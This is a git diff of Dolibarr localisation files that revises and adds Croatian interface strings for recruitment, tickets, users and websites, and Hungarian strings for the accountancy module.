a/htdocs/langs/hr_HR/recruitment.lang b/htdocs/langs/hr_HR/recruitment.lang index 7a68935ff4b..683b5faaceb 100644 --- a/htdocs/langs/hr_HR/recruitment.lang +++ b/htdocs/langs/hr_HR/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=E-mail regruter ToUseAGenericEmail=Za korištenje generičke e-pošte. Ako nije definirano, koristit će se e-mail odgovornog za zapošljavanje NewCandidature=Nova prijava ListOfCandidatures=Popis prijava -RequestedRemuneration=Zatražena naknada -ProposedRemuneration=Predložena naknada +Remuneration=Plaća +RequestedRemuneration=Requested salary +ProposedRemuneration=Proposed salary ContractProposed=Predložen ugovor ContractSigned=Ugovor potpisan ContractRefused=Ugovor odbijen RecruitmentCandidature=Prijava JobPositions=Radna mjesta RecruitmentCandidatures=Prijave -InterviewToDo=Intervju za obaviti +InterviewToDo=Contacts to follow AnswerCandidature=Odgovor na prijavu YourCandidature=Vaša prijava YourCandidatureAnswerMessage=Hvala vam na vašoj prijavi.
      ... diff --git a/htdocs/langs/hr_HR/ticket.lang b/htdocs/langs/hr_HR/ticket.lang index a940aeb3182..2c8f6a3d2a2 100644 --- a/htdocs/langs/hr_HR/ticket.lang +++ b/htdocs/langs/hr_HR/ticket.lang @@ -26,7 +26,9 @@ Permission56002=Izmijenite tikete Permission56003=Izbrišite tikete Permission56004=Upravljajte tiketima Permission56005=Pogledajte tikete svih trećih strana (nije na snazi za vanjske korisnike, uvijek su ograničene na treću stranu o kojoj ovise) +Permission56006=Export tickets +Tickets=Tiketi TicketDictType=Tiketi - Vrste TicketDictCategory=Tiketi - Grupe TicketDictSeverity=Tiketi - ozbiljnosti @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=Vanjski suradnik OriginEmail=Reporter Email Notify_TICKET_SENTBYMAIL=Pošaljite poruku o tiketu putem e-pošte +ExportDataset_ticket_1=Tiketi + # Status Read=Čitati Assigned=Dodijeljeno @@ -90,8 +94,8 @@ TicketPublicAccess=Javno sučelje koje ne zahtijeva identifikaciju dostupno je n TicketSetupDictionaries=Tip tiketa, ozbiljnost i analitički kodovi mogu se konfigurirati iz rječnika TicketParamModule=Postavljanje varijable modula TicketParamMail=Postavljanje e-pošte -TicketEmailNotificationFrom=Sender e-mail for ticket answers -TicketEmailNotificationFromHelp=Sender e-mail for ticket answers sent from Dolibarr +TicketEmailNotificationFrom=Sender e-mail for notification on answers +TicketEmailNotificationFromHelp=Sender e-mail to use to send the notification email when an answer is provided inside the backoffice. For example noreply@example.com TicketEmailNotificationTo=Notify ticket creation to this e-mail address TicketEmailNotificationToHelp=If present, this e-mail address will be notified of a ticket creation TicketNewEmailBodyLabel=Tekstualna poruka poslana nakon kreiranja tiketa @@ -99,6 +103,8 @@ TicketNewEmailBodyHelp=Ovdje navedeni tekst bit će umetnut u e-poruku kojom se TicketParamPublicInterface=Postavljanje javnog sučelja TicketsEmailMustExist=Zahtijevajte postojeću adresu e-pošte za izradu tiketa TicketsEmailMustExistHelp=U javnom sučelju, e-mail adresa bi već trebala biti popunjena u bazi podataka za kreiranje novog tiketa. +TicketCreateThirdPartyWithContactIfNotExist=Ask name and company name for unknown emails. +TicketCreateThirdPartyWithContactIfNotExistHelp=Check if a thirdparty or a contact exists for the email entered. If not, ask a name and a company name to create a third party with contact. PublicInterface=Javno sučelje TicketUrlPublicInterfaceLabelAdmin=Alternativni URL za javno sučelje TicketUrlPublicInterfaceHelpAdmin=Moguće je definirati alias web poslužitelju i tako učiniti dostupnim javno sučelje s drugim URL-om (poslužitelj mora djelovati kao proxy na ovom novom URL-u) @@ -147,6 +153,8 @@ TicketsAutoNotifyCloseHelp=Prilikom zatvaranja tiketa, bit će vam predloženo d TicketWrongContact=Navedeni kontakt nije dio trenutnih kontakata za tiket. E-mail nije poslan. TicketChooseProductCategory=Kategorija proizvoda za podršku tiketa TicketChooseProductCategoryHelp=Odaberite kategoriju proizvoda za podršku tiketa. To će se koristiti za automatsko povezivanje ugovora s tiketom. +TicketUseCaptchaCode=Use graphical code (CAPTCHA) when creating a ticket +TicketUseCaptchaCodeHelp=Adds CAPTCHA verification when creating a new ticket. # # Index & list page @@ -178,7 +186,7 @@ CreatedBy=Izradio NewTicket=Novi tiket SubjectAnswerToTicket=Odgovor na tiket TicketTypeRequest=Vrsta zahtjeva -TicketCategory=Kategorizacija tiketa +TicketCategory=Ticket group SeeTicket=Vidi tiket TicketMarkedAsRead=Tiket je označen kao pročitan TicketReadOn=Pročitano @@ -190,8 +198,7 @@ TicketAssigned=Tiket je sada dodijeljen TicketChangeType=Promijenite vrstu TicketChangeCategory=Promijenite analitički kod TicketChangeSeverity=Promijenite ozbiljnost -TicketAddMessage=Dodajte poruku -AddMessage=Dodajte poruku +TicketAddMessage=Add private message MessageSuccessfullyAdded=Tiket je dodan TicketMessageSuccessfullyAdded=Poruka je uspješno dodana TicketMessagesList=Popis poruka @@ -202,8 +209,8 @@ TicketSeverity=Ozbiljnost ShowTicket=Vidi tiket RelatedTickets=Povezani tiketi TicketAddIntervention=Izradi intervenciju -CloseTicket=Zatvori|Riješi tiket -AbandonTicket=Napusti tiket +CloseTicket=Close|Solve +AbandonTicket=Abandon CloseATicket=Zatvori|Riješi tiket ConfirmCloseAticket=Potvrdite zatvaranje tiketa ConfirmAbandonTicket=Potvrđujete li zatvaranje tiketa u status 'Napušteno' @@ -217,18 +224,17 @@ SendMessageByEmail=Pošaljite poruku e-poštom TicketNewMessage=Nova poruka ErrorMailRecipientIsEmptyForSendTicketMessage=Primatelj je prazan. Nema slanja e-pošte TicketGoIntoContactTab=Idite na karticu "Kontakti" da biste ih odabrali -TicketMessageMailIntro=Uvod +TicketMessageMailIntro=Message header TicketMessageMailIntroHelp=Ovaj tekst se dodaje samo na početak e-pošte i neće biti spremljen. -TicketMessageMailIntroLabelAdmin=Introduction text to all ticket answers TicketMessageMailIntroText=Hello,
      A new answer has been added to a ticket that you follow. Here is the message:
      TicketMessageMailIntroHelpAdmin=This text will be inserted before the answer when replying to a ticket from Dolibarr -TicketMessageMailSignature=Potpis -TicketMessageMailSignatureHelp=Ovaj se tekst dodaje samo na kraju e-pošte i neće biti spremljen. -TicketMessageMailSignatureText=Message sent by %s via Dolibarr -TicketMessageMailSignatureLabelAdmin=Potpis e-pošte za odgovor -TicketMessageMailSignatureHelpAdmin=Ovaj tekst će biti umetnut nakon poruke odgovora. +TicketMessageMailFooter=Message footer +TicketMessageMailFooterHelp=This text is added only at the end of the message sent by email and will not be saved. +TicketMessageMailFooterText=Message sent by %s via Dolibarr +TicketMessageMailFooterHelpAdmin=Ovaj tekst će biti umetnut nakon poruke odgovora. TicketMessageHelp=Samo će ovaj tekst biti spremljen na popisu poruka na kartici. TicketMessageSubstitutionReplacedByGenericValues=Supstitucijske varijable zamjenjuju se generičkim vrijednostima. +ForEmailMessageWillBeCompletedWith=For email messages sent to external users, the message will be completed with TimeElapsedSince=Vrijeme je proteklo od tada TicketTimeToRead=Vrijeme je proteklo prije čitanja TicketTimeElapsedBeforeSince=Vrijeme proteklo prije/od @@ -239,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=Na tiketu je objavljena nova poruka s TicketAssignedToYou=Tiket dodijeljen TicketAssignedEmailBody=Tiket #%s dodijelio vam je %s MarkMessageAsPrivate=Označi poruku kao privatnu +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=Ova poruka se neće prikazati vanjskim korisnicima TicketEmailOriginIssuer=Issuer at origin of the tickets InitialMessage=Početna poruka @@ -294,7 +301,7 @@ TicketNewEmailBodyInfosTrackUrlCustomer=You can view the progress of the ticket TicketCloseEmailBodyInfosTrackUrlCustomer=You can consult the history of this ticket by clicking the following link TicketEmailPleaseDoNotReplyToThisEmail=Please do not reply directly to this email! Use the link to reply into the interface. TicketPublicInfoCreateTicket=This form allows you to record a support ticket in our management system. -TicketPublicPleaseBeAccuratelyDescribe=Molimo vas da precizno opišete problem. Navedite najviše mogućih informacija kako biste nam omogućili da ispravno identificiramo vaš zahtjev. +TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe your question. Provide the most information possible to allow us to correctly identify your request. TicketPublicMsgViewLogIn=Please enter ticket tracking ID TicketTrackId=Javni ID za praćenje OneOfTicketTrackId=Jedan od vaših ID-a za praćenje diff --git a/htdocs/langs/hr_HR/users.lang b/htdocs/langs/hr_HR/users.lang index 5470e0e254f..e84aee01882 100644 --- a/htdocs/langs/hr_HR/users.lang +++ b/htdocs/langs/hr_HR/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Ukloni iz grupe PasswordChangedAndSentTo=Lozinka je promjenjena i poslana %s. PasswordChangeRequest=Zahtjev za promjenu lozinke za %s PasswordChangeRequestSent=Zahtjev za promjenom lozinke za %s je poslana %s. -IfLoginExistPasswordRequestSent=If this login is a valid account, an email to reset password has been sent. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=If this email is a valid account, an email to reset password has been sent. ConfirmPasswordReset=Potvrdite resetiranje lozinke MenuUsersAndGroups=Korisnici & Grupe @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Poveži s korisnikom LinkedToDolibarrThirdParty=Link to third party CreateDolibarrLogin=Izradi korisnika CreateDolibarrThirdParty=Izradi treću osobu -LoginAccountDisableInDolibarr=Račun je onemogučen u Dolibarr-u. +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=Koristi osobnu vrijednost -InternalUser=Interni korisnik ExportDataset_user_1=Users and their properties DomainUser=Korisnik na domeni %s Reactivate=Reaktiviraj @@ -114,7 +114,7 @@ UserLogoff=Odjava korisnika UserLogged=Korisnik prijavljen DateOfEmployment=Employment date DateEmployment=Employment -DateEmploymentstart=Employment Start Date +DateEmploymentStart=Employment Start Date DateEmploymentEnd=Employment End Date RangeOfLoginValidity=Access validity date range CantDisableYourself=You can't disable your own user record @@ -128,3 +128,8 @@ DateLastLogin=Date last login DatePreviousLogin=Date previous login IPLastLogin=IP last login IPPreviousLogin=IP previous login +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card +PublicVirtualCardUrl=Public virtual user card diff --git a/htdocs/langs/hr_HR/website.lang b/htdocs/langs/hr_HR/website.lang index adcee2de52b..eb6c4c7707e 100644 --- a/htdocs/langs/hr_HR/website.lang +++ b/htdocs/langs/hr_HR/website.lang @@ -1,5 +1,6 @@ # Dolibarr language file - Source file is en_US - website Shortname=Kod +WebsiteName=Name of the website WebsiteSetupDesc=Ovdje kreirajte web stranice koje želite koristiti. Zatim idite na izbornik Web stranice da ih uredite. DeleteWebsite=Obriši Web mjesto ConfirmDeleteWebsite=Jeste li sigurni da želite izbrisati ovu web stranicu? Sve njegove stranice i sadržaj također će biti uklonjeni. Učitane datoteke (kao u direktorij medija, ECM modul, ...) ostat će. @@ -15,9 +16,9 @@ WEBSITE_HTML_HEADER=Addition at bottom of HTML Header (common to all pages) WEBSITE_ROBOT=Datoteka za botove (robots.txt) WEBSITE_HTACCESS=.htaccess datoteka za web stranicu WEBSITE_MANIFEST_JSON=manifest.json datoteka za web stranicu -WEBSITE_README=README.md datoteka WEBSITE_KEYWORDSDesc=Za odvajanje vrijednosti koristite zarez -EnterHereLicenseInformation=Enter here meta data or license information to fille a README.md file. if you distribute your website as a template, the file will be included into the temptate package. +EnterHereReadmeInformation=Enter here a description of the website. If you distribute your website as a template, the file will be included into the temptate package. +EnterHereLicenseInformation=Enter here the LICENSE of the code of the website. If you distribute your website as a template, the file will be included into the temptate package. HtmlHeaderPage=HTML header (specific to this page only) PageNameAliasHelp=Name or alias of the page.
      This alias is also used to forge a SEO URL when website is ran from a Virtual host of a Web server (like Apacke, Nginx, ...). Use the button "%s" to edit this alias. EditTheWebSiteForACommonHeader=Note: If you want to define a personalized header for all pages, edit the header on the site level instead of on the page/container. @@ -42,6 +43,8 @@ ViewPageInNewTab=Pogledaj stranicu u novom tabu SetAsHomePage=Postavi kao početnu stranicu RealURL=Pravi URL ViewWebsiteInProduction=Pogledaj web lokaciju koristeći URL naslovnice +Virtualhost=Virtual host or domain name +VirtualhostDesc=The name of the Virtual host or domain (For example: www.mywebsite.com, mybigcompany.net, ...) SetHereVirtualHost=Use with Apache/NGinx/...
      Create on your web server (Apache, Nginx, ...) a dedicated Virtual Host with PHP enabled and a Root directory on
      %s ExampleToUseInApacheVirtualHostConfig=Primjer za korištenje u postavljanju virtualnog hosta Apache: YouCanAlsoTestWithPHPS=Use with PHP embedded server
      On develop environment, you may prefer to test the site with the PHP embedded web server (PHP 5.5 required) by running
      php -S 0.0.0.0:8080 -t %s @@ -137,7 +140,7 @@ PagesRegenerated=%s page(s)/container(s) regenerated RegenerateWebsiteContent=Regenerirajte datoteke predmemorije web stranice AllowedInFrames=Allowed in Frames DefineListOfAltLanguagesInWebsiteProperties=Definirajte popis svih dostupnih jezika u svojstva web stranice. -GenerateSitemaps=Generirajte Sitemap datoteku +GenerateSitemaps=Generate website sitemap.xml file ConfirmGenerateSitemaps=Ako potvrdite, izbrisat ćete postojeću Sitemap datoteku ... ConfirmSitemapsCreation=Potvrdite generiranje Sitemapa SitemapGenerated=Generirana datoteka Sitemap %s @@ -145,3 +148,10 @@ ImportFavicon=Favicon ErrorFaviconType=Favicon mora biti png ErrorFaviconSize=Favicon mora biti veličine 16x16, 32x32 ili 64x64 FaviconTooltip=Prenesite sliku koja mora biti PNG (16x16, 32x32 ili 64x64) +NextContainer=Next page/container +PreviousContainer=Previous page/container +WebsiteMustBeDisabled=The website must have the status "%s" +WebpageMustBeDisabled=The web page must have the status "%s" +SetWebsiteOnlineBefore=When website is offline, all pages are offline. Change status of website first. +Booking=Booking +Reservation=Reservation diff --git a/htdocs/langs/hu_HU/accountancy.lang b/htdocs/langs/hu_HU/accountancy.lang index e42a9cc7505..ea8c67f273c 100644 --- a/htdocs/langs/hu_HU/accountancy.lang +++ b/htdocs/langs/hu_HU/accountancy.lang @@ -1,139 +1,142 @@ # Dolibarr language file - en_US - Accountancy (Double entries) Accountancy=Könyvelés -Accounting=Könyvelés +Accounting=Számvitel ACCOUNTING_EXPORT_SEPARATORCSV=Oszlop határoló az export fájlhoz -ACCOUNTING_EXPORT_DATE=Dátum formátuma az export fájlhoz +ACCOUNTING_EXPORT_DATE=Az exportfájl dátumformátuma ACCOUNTING_EXPORT_PIECE=Darabszám exportálása ACCOUNTING_EXPORT_GLOBAL_ACCOUNT=Export globális számlákkal ACCOUNTING_EXPORT_LABEL=Címke exportálása -ACCOUNTING_EXPORT_AMOUNT=Exportálási összeg -ACCOUNTING_EXPORT_DEVISE=Pénznem exportálása +ACCOUNTING_EXPORT_AMOUNT=Export mennyiség +ACCOUNTING_EXPORT_DEVISE=Export valuta Selectformat=Válassza ki a fájl formátumát ACCOUNTING_EXPORT_FORMAT=Válassza ki a fájl formátumát -ACCOUNTING_EXPORT_ENDLINE=Válassza ki a kocsi-visszaküldési típust +ACCOUNTING_EXPORT_ENDLINE=Válassza ki a kocsi-visszaküldésének típusát ACCOUNTING_EXPORT_PREFIX_SPEC=Adja meg a fájlnév előtagját ThisService=Ez a szolgáltatás ThisProduct=Ez a termék -DefaultForService=A szolgáltatás alapértelmezett értéke -DefaultForProduct=A termék alapértelmezett értéke +DefaultForService=Default for services +DefaultForProduct=Default for products ProductForThisThirdparty=Termék ennek a harmadik félnek ServiceForThisThirdparty=Szolgáltatás ennek a harmadik félnek CantSuggest=Nem tudok javasolni -AccountancySetupDoneFromAccountancyMenu=A könyvelés legtöbb beállítása a %s menüből történik -ConfigAccountingExpert=A modul könyvelés beállítása (kettős bejegyzés) +AccountancySetupDoneFromAccountancyMenu=A könyvelés legtöbb beállítása az %s menüből történik +ConfigAccountingExpert=A könyvelés modul konfigurálása (kettős bejegyzés) Journalization=Újságírás Journals=Folyóiratok JournalFinancial=Pénzügyi mérleg naplók BackToChartofaccounts=Számlatükör visszaküldése -Chartofaccounts=Számlatábla +Chartofaccounts=Számlatükör ChartOfSubaccounts=Egyéni számlák diagramja -ChartOfIndividualAccountsOfSubsidiaryLedger=Leányvállalati főkönyv egyéni számlatáblázata +ChartOfIndividualAccountsOfSubsidiaryLedger=Leányvállalati főkönyv egyéni számlatükre CurrentDedicatedAccountingAccount=Jelenlegi dedikált fiók -AssignDedicatedAccountingAccount=Új fiók hozzárendeléséhez +AssignDedicatedAccountingAccount=Új fiók hozzárendelése InvoiceLabel=Számla címke OverviewOfAmountOfLinesNotBound=A számviteli számlához nem kötött sorok összegének áttekintése -OverviewOfAmountOfLinesBound=A könyvelési számlához már kötött sorok összegének áttekintése -OtherInfo=Egyéb információ -DeleteCptCategory=Számviteli fiók eltávolítása a csoportból -ConfirmDeleteCptCategory=Biztosan eltávolítja ezt a fiókot a könyvelési fiókcsoportból? +OverviewOfAmountOfLinesBound=A számviteli számlához már kötött sorok összegének áttekintése +OtherInfo=Egyéb információk +DeleteCptCategory=Számviteli számla eltávolítása a csoportból +ConfirmDeleteCptCategory=Biztosan eltávolítja ezt a számviteli számlát a számviteli számlacsoportból? JournalizationInLedgerStatus=A naplózás állapota -AlreadyInGeneralLedger=Már áthelyezve a könyvelési naplókba és a főkönyvbe -NotYetInGeneralLedger=Még nincs áthelyezve a könyvelési naplókba és a főkönyvbe -GroupIsEmptyCheckSetup=A csoport üres, ellenőrizze a személyre szabott könyvelési csoport beállítását -DetailByAccount=Részletek megjelenítése fiókonként -AccountWithNonZeroValues=Nullától eltérő értékekkel rendelkező számlák +AlreadyInGeneralLedger=Már átkerült a számviteli naplókba és a főkönyvbe +NotYetInGeneralLedger=Még nem került át a számviteli naplókba és a főkönyvbe +GroupIsEmptyCheckSetup=A csoport üres, ellenőrizze a személyre szabott számviteli csoport beállítását +DetailByAccount=Részletek megjelenítése számlánként +AccountWithNonZeroValues=Nem nulla értékű számlák ListOfAccounts=Számlák listája -CountriesInEEC=Országok az EGK-ban +CountriesInEEC=Az EGK-beli országok CountriesNotInEEC=Az EGK-n kívüli országok CountriesInEECExceptMe=Az EGK országai, kivéve %s CountriesExceptMe=Minden ország, kivéve %s AccountantFiles=Forrásdokumentumok exportálása -ExportAccountingSourceDocHelp=Ezzel az eszközzel megkeresheti és exportálhatja a könyvelés generálásához használt forráseseményeket.
      Az exportált ZIP fájl tartalmazza a kért elemek listáját CSV-ben, valamint a hozzájuk csatolt fájlokat eredeti formátumukban (PDF, ODT, DOCX...). -ExportAccountingSourceDocHelp2=A naplók exportálásához használja a %s - %s menüpontot. -ExportAccountingProjectHelp=Adjon meg egy projektet, ha csak egy adott projekthez van szüksége számviteli jelentésre. A költségjelentések és a hitelkifizetések nem szerepelnek a projektjelentésekben. -VueByAccountAccounting=Megtekintés könyvelési fiók szerint -VueBySubAccountAccounting=Megtekintés könyvelési alfiók szerint +ExportAccountingSourceDocHelp=Ezzel az eszközzel megkeresheti és exportálhatja a könyvelés generálásához használt forráseseményeket.
      Az exportált ZIP-fájl tartalmazza a kért elemek listáját CSV-ben, valamint a hozzájuk csatolt fájlokat eredeti formátumukban (PDF, ODT, DOCX...). +ExportAccountingSourceDocHelp2=A naplók exportálásához használja az %s - %s menüpontot. +ExportAccountingProjectHelp=Adjon meg egy projektet, ha csak egy adott projekthez van szüksége számviteli jelentésre. A projektbeszámolók nem tartalmazzák a költségjelentéseket és a hitelkifizetéseket. +VueByAccountAccounting=Megtekintés számviteli számla szerint +VueBySubAccountAccounting=Megtekintés számviteli alszámla szerint -MainAccountForCustomersNotDefined=A beállításban nem definiált ügyfelek fő könyvelési fiókja -MainAccountForSuppliersNotDefined=A beállításban nem definiált szállítók fő könyvelési fiókja -MainAccountForUsersNotDefined=Fő számviteli fiók a beállításokban nem definiált felhasználók számára -MainAccountForVatPaymentNotDefined=Fő számla az áfa befizetéséhez nincs megadva a beállításban -MainAccountForSubscriptionPaymentNotDefined=Az előfizetési fizetés fő könyvelési fiókja nincs megadva a beállításban +MainAccountForCustomersNotDefined=A beállításban nem definiált ügyfelek fő számviteli számlája +MainAccountForSuppliersNotDefined=A beállításban nem definiált szállítók fő számviteli számlája +MainAccountForUsersNotDefined=Fő számviteli számla a beállításban nem definiált felhasználók számára +MainAccountForVatPaymentNotDefined=Az ÁFA befizetés fő számviteli számlája nincs meghatározva a beállításban +MainAccountForSubscriptionPaymentNotDefined=Az előfizetési fizetéshez szükséges fő számla nincs megadva a beállításban +UserAccountNotDefined=A beállításban nincs megadva számviteli számla AccountancyArea=Számviteli terület AccountancyAreaDescIntro=A könyvelési modul használata több lépésben történik: AccountancyAreaDescActionOnce=A következő műveletek általában csak egyszer, vagy évente egyszer kerülnek végrehajtásra... -AccountancyAreaDescActionOnceBis=A következő lépéseket meg kell tennie, hogy a jövőben időt takarítson meg azáltal, hogy automatikusan a helyes alapértelmezett könyvelési fiókot javasolja a számviteli adatátvitel során -AccountancyAreaDescActionFreq=A következő műveleteket általában havonta, hetente vagy naponta hajtják végre a nagyon nagy cégek... +AccountancyAreaDescActionOnceBis=A következő lépéseket meg kell tennie, hogy a jövőben időt takarítson meg azáltal, hogy automatikusan javasolja a helyes alapértelmezett számviteli számlát a számviteli adatok átvitelekor +AccountancyAreaDescActionFreq=A következő műveleteket általában havonta, hetente vagy naponta hajtják végre nagyon nagy cégeknél... -AccountancyAreaDescJournalSetup=%s LÉPÉS: Ellenőrizze folyóiratlista tartalmát a %s menüből -AccountancyAreaDescChartModel=%s LÉPÉS: Ellenőrizze, hogy létezik-e számlatükör-modell, vagy hozzon létre egyet a %s menüből -AccountancyAreaDescChart=%s LÉPÉS: Válassza ki és|vagy töltse ki a számlatervét a %s menüből +AccountancyAreaDescJournalSetup=LÉPÉS %s: Ellenőrizze a naplólista tartalmát az %s menüből +AccountancyAreaDescChartModel=LÉPÉS %s: Ellenőrizze, hogy létezik-e számlatükör-modell, vagy hozzon létre egyet az %s menüből +AccountancyAreaDescChart=LÉPÉS %s: Válassza ki és|vagy töltse ki a számlatervét az %s menüből -AccountancyAreaDescVat=%s LÉPÉS: Határozza meg a könyvelési számlákat az egyes áfakulcsokhoz. Ehhez használja a %s menüpontot. -AccountancyAreaDescDefault=%s LÉPÉS: Az alapértelmezett könyvelési számlák meghatározása. Ehhez használja a %s menüpontot. -AccountancyAreaDescExpenseReport=%s LÉPÉS: Határozza meg az alapértelmezett könyvelési számlákat minden költségjelentéstípushoz. Ehhez használja a %s menüpontot. -AccountancyAreaDescSal=%s LÉPÉS: Határozzon meg alapértelmezett könyvelési számlákat a fizetések kifizetéséhez. Ehhez használja a %s menüpontot. -AccountancyAreaDescContrib=%s LÉPÉS: Adja meg az alapértelmezett könyvelési számlákat az adókhoz (speciális kiadásokhoz). Ehhez használja a %s menüpontot. -AccountancyAreaDescDonation=%s LÉPÉS: Az adományozáshoz alapértelmezett könyvelési számlák meghatározása. Ehhez használja a %s menüpontot. -AccountancyAreaDescSubscription=%s LÉPÉS: Határozza meg az alapértelmezett könyvelési fiókokat a tagok előfizetéséhez. Ehhez használja a %s menüpontot. -AccountancyAreaDescMisc=LÉPÉS %s: Kötelező alapértelmezett fiók és alapértelmezett könyvelési számlák meghatározása a különféle tranzakciókhoz. Ehhez használja a %s menüpontot. -AccountancyAreaDescLoan=%s LÉPÉS: Határozza meg a hitelek alapértelmezett könyvelési számláit. Ehhez használja a %s menüpontot. -AccountancyAreaDescBank=%s LÉPÉS: Határozza meg a könyvelési számlákat és a naplókódot minden bankhoz és pénzügyi számlához. Ehhez használja a %s menüpontot. -AccountancyAreaDescProd=%s LÉPÉS: Határozzon meg könyvelési számlákat a termékekhez/szolgáltatásokhoz. Ehhez használja a %s menüpontot. +AccountancyAreaDescVat=LÉPÉS %s: Határozza meg a számviteli számlákat az egyes áfakulcsokhoz. Ehhez használja az %s menüpontot. +AccountancyAreaDescDefault=LÉPÉS %s: Határozza meg az alapértelmezett számviteli számlákat. Ehhez használja az %s menüpontot. +AccountancyAreaDescExpenseReport=LÉPÉS %s: Határozzon meg alapértelmezett számviteli számlákat minden költségjelentéstípushoz. Ehhez használja az %s menüpontot. +AccountancyAreaDescSal=LÉPÉS %s: Határozzon meg alapértelmezett számviteli számlákat a fizetések kifizetéséhez. Ehhez használja az %s menüpontot. +AccountancyAreaDescContrib=LÉPÉS %s: Határozzon meg alapértelmezett számvitelii számlákat az adókhoz (speciális kiadásokhoz). Ehhez használja az %s menüpontot. +AccountancyAreaDescDonation=LÉPÉS %s: Határozzon meg alapértelmezett számvitelii számlákat az adományozáshoz. Ehhez használja az %s menüpontot. +AccountancyAreaDescSubscription=LÉPÉS %s: Határozza meg az alapértelmezett számviteli számlákat a tagi előfizetéshez. Ehhez használja az %s menüpontot. +AccountancyAreaDescMisc=LÉPÉS %s: Határozza meg a kötelező alapértelmezett számlát és az alapértelmezett számviteli számlákat különféle tranzakciókhoz. Ehhez használja az %s menüpontot. +AccountancyAreaDescLoan=LÉPÉS %s: Határozzon meg alapértelmezett számviteli számlákat a hitelekhez. Ehhez használja az %s menüpontot. +AccountancyAreaDescBank=LÉPÉS %s: Határozza meg a számviteli számlákat és a naplókódot minden bankhoz és pénzügyi számlához. Ehhez használja az %s menüpontot. +AccountancyAreaDescProd=LÉPÉS %s: Határozzon meg számviteli számlákat a termékekhez/szolgáltatásokhoz. Ehhez használja az %s menüpontot. -AccountancyAreaDescBind=%s LÉPÉS: Ellenőrizze a meglévő %s sorok közötti kötést, és a könyvelési számla megtörtént, így az alkalmazás egy kattintással képes lesz naplózni a tranzakciókat a Főkönyvben. Teljes hiányzó kötések. Ehhez használja a %s menüpontot. -AccountancyAreaDescWriteRecords=%s LÉPÉS: Írja be a tranzakciókat a főkönyvbe. Ehhez lépjen a %s menübe, és kattintson a %s gombra. -AccountancyAreaDescAnalyze=%s LÉPÉS: Meglévő tranzakciók hozzáadása vagy szerkesztése, jelentések és exportálások létrehozása. +AccountancyAreaDescBind=LÉPÉS %s: Ellenőrizze, hogy a meglévő %s sorok és a számviteli számla közötti kötés megtörtént, így az alkalmazás egyetlen kattintással képes lesz naplózni a tranzakciókat a Főkönyvben. Teljes hiányzó kötések. Ehhez használja az %s menüpontot. +AccountancyAreaDescWriteRecords=LÉPÉS %s: Írja be a tranzakciókat a főkönyvbe. Ehhez lépjen az %s menübe, és kattintson az %s gombra. +AccountancyAreaDescAnalyze=LÉPÉS %s: Meglévő tranzakciók hozzáadása vagy szerkesztése, valamint jelentések és exportálások létrehozása. -AccountancyAreaDescClosePeriod=LÉPÉS %s: Az időszak lezárása, hogy a jövőben ne tudjunk módosítani. +AccountancyAreaDescClosePeriod=LÉPÉS %s: Zárja be az időszakot, hogy a jövőben ne módosíthassuk. TheJournalCodeIsNotDefinedOnSomeBankAccount=A beállítás egy kötelező lépése nem fejeződött be (a számviteli kódnapló nincs megadva minden bankszámlához) Selectchartofaccounts=Válassza ki az aktív számlatükröt ChangeAndLoad=Változás és betöltés -Addanaccount=Számviteli fiók hozzáadása +Addanaccount=Adjon hozzá egy számviteli számlát AccountAccounting=Számviteli számla AccountAccountingShort=Számla -SubledgerAccount=Alkönyvi fiók -SubledgerAccountLabel=Alkönyvi fiókcímke -ShowAccountingAccount=Számviteli fiók megjelenítése +SubledgerAccount=Alkönyvi számla +SubledgerAccountLabel=Alkönyvi számla címke +ShowAccountingAccount=Számviteli számla megjelenítése ShowAccountingJournal=Számviteli napló megjelenítése ShowAccountingAccountInLedger=Számviteli számla megjelenítése a főkönyvben ShowAccountingAccountInJournals=Számviteli számla megjelenítése a naplókban -AccountAccountingSuggest=Számviteli fiók javasolt -MenuDefaultAccounts=Alapértelmezett fiókok +DataUsedToSuggestAccount=Data used to suggest account +AccountAccountingSuggest=Account suggested +MenuDefaultAccounts=Alapértelmezett számlák MenuBankAccounts=Bankszámlák MenuVatAccounts=Áfa-számlák MenuTaxAccounts=Adószámlák MenuExpenseReportAccounts=Költségjelentés számlák MenuLoanAccounts=Hitelszámlák -MenuProductsAccounts=Termékfiókok -MenuClosureAccounts=Fiókok bezárása -MenuAccountancyClosure=Bezárás -MenuAccountancyValidationMovements=Elmozdulások érvényesítése -ProductsBinding=Termékfiókok -TransferInAccounting=Átvezetés a könyvelésben -RegistrationInAccounting=Rögzítés a könyvelésben -Binding=Fiókokhoz kötés +MenuProductsAccounts=Termék számlák +MenuClosureAccounts=Számlák lezárása +MenuAccountancyClosure=Lezárás +MenuAccountancyValidationMovements=Érvényesítse a mozgásokat +ProductsBinding=Termékek számlái +TransferInAccounting=Átvezetés a számvitelbe +RegistrationInAccounting=Rögzítés a számvitelbe +Binding=Számlákhoz kötés CustomersVentilation=Vásárlói számlakötés SuppliersVentilation=Szállítói számlakötés ExpenseReportsVentilation=Költségjelentés összerendelése CreateMvts=Új tranzakció létrehozása UpdateMvts=Tranzakció módosítása ValidTransaction=Tranzakció érvényesítése -WriteBookKeeping=Tranzakciók rögzítése a könyvelésben +WriteBookKeeping=Tranzakciók rögzítése a számvitelben Bookkeeping=Főkönyv -BookkeepingSubAccount=Alkönyvező +BookkeepingSubAccount=Alkönyv AccountBalance=Számlaegyenleg +AccountBalanceSubAccount=Sub-accounts balance ObjectsRef=Forrásobjektum ref -CAHTF=A teljes beszerzési eladó adózás előtt +CAHTF=Teljes beszerzési eladó adózás előtt TotalExpenseReport=Összköltségjelentés InvoiceLines=A kötendő számlák sorai InvoiceLinesDone=Számla kötött sorai ExpenseReportLines=Költségjelentések sorai 